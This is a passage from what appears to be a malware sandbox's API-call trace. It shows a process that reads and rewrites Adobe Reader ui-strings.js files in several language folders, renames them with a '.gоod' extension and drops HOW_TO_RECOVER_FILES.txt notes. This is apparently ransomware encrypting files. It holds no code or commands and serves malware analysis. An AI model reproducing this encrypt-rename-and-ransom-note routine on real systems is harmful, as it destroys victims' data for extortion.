SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.699] GetFileType (hFile=0x650) returned 0x1 [0162.699] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3e1d [0162.699] WriteFile (in: hFile=0x650, lpBuffer=0x34908d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34908d0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0162.700] CloseHandle (hObject=0x650) returned 1 [0162.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.701] GetFileType (hFile=0x650) returned 0x1 [0162.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.701] GetFileType (hFile=0x650) returned 0x1 [0162.701] ReadFile (in: hFile=0x650, lpBuffer=0x3494740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3494740*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0162.763] CloseHandle (hObject=0x650) returned 1 [0162.763] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.763] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.764] GetFileType (hFile=0x650) returned 0x1 [0162.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.764] GetFileType (hFile=0x650) returned 0x1 [0162.764] WriteFile (in: hFile=0x650, lpBuffer=0x32f6650*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x32f6650*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0162.764] CloseHandle (hObject=0x650) returned 1 [0162.764] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.764] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0162.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0162.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5d3a68b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e2d)) returned 1 [0162.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0162.764] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0162.766] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0162.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0162.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0163.447] GetFileType (hFile=0x80c) returned 0x1 [0163.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0163.472] GetFileType (hFile=0x80c) returned 0x1 [0163.838] WriteFile (in: hFile=0x80c, lpBuffer=0x345c710*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x345c710*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0163.839] CloseHandle (hObject=0x80c) returned 1 [0163.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0163.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it", lpFilePart=0x0) returned 0x69 [0164.068] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0164.417] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.417] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0164.417] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.417] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0164.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0164.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0164.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0164.417] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it", lpFilePart=0x0) returned 0x69 [0164.417] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0164.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0164.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0164.418] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0164.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0164.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0164.418] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0164.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3714c58 | out: lpFileInformation=0x3714c58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9)) returned 1 [0164.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0164.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.419] GetFileType (hFile=0x640) returned 0x1 [0164.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.419] GetFileType (hFile=0x640) returned 0x1 [0164.419] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0164.419] ReadFile (in: hFile=0x640, lpBuffer=0x3715130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3715130*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0164.421] CloseHandle (hObject=0x640) returned 1 [0164.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.421] GetFileType (hFile=0x640) returned 0x1 [0164.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.421] GetFileType (hFile=0x640) returned 0x1 [0164.421] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3cd9 [0164.421] WriteFile (in: hFile=0x640, lpBuffer=0x371a168*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x371a168*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0164.422] CloseHandle (hObject=0x640) returned 1 [0164.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.423] GetFileType (hFile=0x640) returned 0x1 [0164.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.423] GetFileType (hFile=0x640) returned 0x1 [0164.423] ReadFile (in: hFile=0x640, lpBuffer=0x371e808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x371e808*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0164.485] CloseHandle (hObject=0x640) returned 1 [0164.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.485] GetFileType (hFile=0x640) returned 0x1 [0164.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.485] GetFileType (hFile=0x640) returned 0x1 [0164.485] WriteFile (in: hFile=0x640, lpBuffer=0x3350158*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3350158*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0164.485] CloseHandle (hObject=0x640) returned 1 [0164.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0164.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0164.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5e40de47, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3ce9)) returned 1 [0164.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0164.486] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0164.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0164.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0164.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0164.488] GetFileType (hFile=0x640) returned 0x1 [0164.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0164.488] GetFileType (hFile=0x640) returned 0x1 [0164.488] WriteFile (in: hFile=0x640, lpBuffer=0x336ef50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x336ef50*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0164.489] CloseHandle (hObject=0x640) returned 1 [0164.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0164.489] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp", 